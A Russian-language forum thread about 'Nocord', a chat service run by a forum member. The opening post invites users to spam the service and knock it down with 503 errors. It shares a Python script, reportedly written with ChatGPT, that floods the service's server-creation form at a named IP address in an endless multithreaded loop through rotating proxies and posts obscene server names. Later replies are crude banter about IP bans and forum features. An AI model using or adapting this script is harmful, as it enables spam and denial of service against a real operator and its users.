LINUXTALKS.CO

Nocord - главный тред

 

L


0

1

В этом итт тхреде мы будем пользоваться сервисом nocord созданным участником нашего форума. По мере использования, делимся скриптами и прочими решениями.

Также я объявляю следующие направления специальной олимпиады:

  1. Спам сервиса сообщениями
  2. Доведение сервиса до ошибки 503
  3. tbd

Как первый участник я покажу свой (chatgpt) код:

import requests
import random
import time
from concurrent.futures import ThreadPoolExecutor

# Функция для чтения прокси из файла
def read_proxies(proxy_file):
    with open(proxy_file, 'r') as file:
        proxies = [line.strip() for line in file.readlines()]
    return proxies

# Функция для отправки формы
def submit_form(name, password, proxy):
    url = "http://91.192.22.20/create.php"

    # Формируем данные для отправки
    data = {
        'name': name,
        'password': password,
        'password2': password,
        'public_submit': 'Создать публичный сервер',
    }

    # Настроим прокси
    proxies = {
        "http": proxy,
        "https": proxy,
    }

    try:
        # Отправляем POST запрос
        response = requests.post(url, data=data, proxies=proxies, timeout=10)
        
        # Проверяем статус код ответа
        if response.status_code == 200:
            print(f"[INFO] Успешно отправлена форма для сервера: {name}")
        else:
            print(f"[ERROR] Ошибка при отправке формы для {name}. Статус код: {response.status_code}")
    except requests.RequestException as e:
        print(f"[ERROR] Ошибка при отправке формы для {name}. Ошибка: {e}")

# Основной цикл
def main():
    proxies = read_proxies('proxy.txt')  # Читаем список прокси из файла
    base_name = "пррррр посрал в парашу пррррр"
    password = "12345"
    iteration = 1

    # Создаем пул потоков с 10 рабочими потоками
    with ThreadPoolExecutor(max_workers=10) as executor:
        while True:
            # Генерируем уникальное имя сервера
            name = f"{base_name}{iteration}"
            
            # Выбираем случайный прокси из списка
            proxy = random.choice(proxies)
            
            # Выводим информацию о текущем шаге
            print(f"[INFO] Попытка отправить форму для {name} с прокси {proxy}")
            
            # Отправляем форму в отдельном потоке
            executor.submit(submit_form, name, password, proxy)
            
            # Инкрементируем итерацию
            iteration += 1

            # Увековечиваем шаг (например, задержка 1 секунда, чтобы не создавать слишком много задач одновременно)
            time.sleep(0.1)

if __name__ == '__main__':
    main()

Перемещено cocucka из tox

Ответ на: комментарий от shikata_ga_nai

У меня только его файлопомойка открывается нормально

Потому что я никого на ней не банил, а Nocord эксклюзивно доступен только из России и Беларуси, а еще забанены некоторые IP-адреса, с которых спамили.

MrSugoma    
★★
Windows / Firefox (ES)
Ответ на: комментарий от MrSugoma

https://www.linux.org.ru/add.jsp?group=4228&noinfo=1

Сюда можешь новость написать, но желательно длинее, чем две строки, иначе не пропустят. Тут уже все про стой кокорд знают.

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)
Ответ на: комментарий от shikata_ga_nai

У тебя так много народу в игноре, удобно треды читать? смысл не теряется? Я тут одного игнорил, так постоянно подглядывать приходилось, потом убрал из игнора поэтому

Qwentor    
★★★★★★★
Windows / Firefox (RU)
Ответ на: комментарий от Qwentor

Ну в полноценном игноре 2 человека, остальные да, в «ментальном». Если всех добавить в игнорлист, то этот форум внезапно опустеет.

На самом деле, если бы макском сделал нормальный игнор, можно было бы им пользоваться. Я не понимаю, почему ЛТ использует этот тупорылый движок говна, где игнорирование одного пользователя пол форума за собой тащит. Просто пиздец. Можно же было бы сделать так, чтобы игнорируемые комментарии были свернутые (ДАЖЕ ДРЕВНИЙ ОПЕННЕТ ТАК УМЕЕТ)

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)
Ответ на: комментарий от shikata_ga_nai

На самом деле, если бы макском сделал нормальный игнор, можно было бы им пользоваться. Я не понимаю, почему ЛТ использует этот тупорылый движок говна, где игнорирование одного пользователя пол форума за собой тащит. Просто пиздец. Можно же было бы сделать так, чтобы игнорируемые комментарии были свернутые (ДАЖЕ ДРЕВНИЙ ОПЕННЕТ ТАК УМЕЕТ)

Поэтому готовые движки не нужны, СУБД тоже. Вот в Nocord всё сделано нормально.

MrSugoma    
★★
Android / Firefox (RU)
Ответ на: комментарий от MrSugoma

Исходный код Nocord’а свободен для меня, этого уже достаточно для того, чтобы быть опен сурсом.

Винда, получается тоже опенсурсная. Для Гейтса же код свободен.

Oberstserj    
★★★★★★
Ubuntu / Firefox (NL)
Ответ на: комментарий от shikata_ga_nai

Я ваще в смысл игнора не въезжаю. Ну игнорь на уровне своих инстинктивных позывов накатать ответ. А ломать тред, причем эксклюзивно для самого себя…ну такое.

Oberstserj    
★★★★★★
Ubuntu / Firefox (NL)
Ответ на: комментарий от shikata_ga_nai

Короче, запилил кровавый энтерпрайз. Суть такова - постить мемасы, хранятся они в nocord. Совсем stand alone версию сделать не выйдет, т.к. @MrSugoma не хочет в https. Но и так хорошо. Постить смешное, не абузить) Если автор не будет вайпать, добавлю прямые ссылки.

Код надо чистить, но js дрисня для меня боль, не могу долго на это смотреть.

https://nocord.pro/

UPD. Начал впиливать проверку типов, но забил хуй, так что пока только image/jpeg

Anoxemian    
★★★
Последнее исправление: Anoxemian (всего исправлений: 1)

Anonymous / Unknown (EE)
Ответ на: комментарий от shikata_ga_nai

Да конечно, там 5-6 функций для этого всего, корячь как хочешь. Можно даже standalone сделать, но только локально работать будет. С сервера не дает коннектить с https на http.

Anoxemian    
★★★
Anonymous / Unknown (EE)
Ответ на: комментарий от Anoxemian

Блин, это все прям новый вид спорта для Специальной Олимпиады! Мне даже жаль стало, что мой хостинг забугорный и к кокорду не подключится таким макаром, ну только если мистер гомик не разблокирует конечно

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)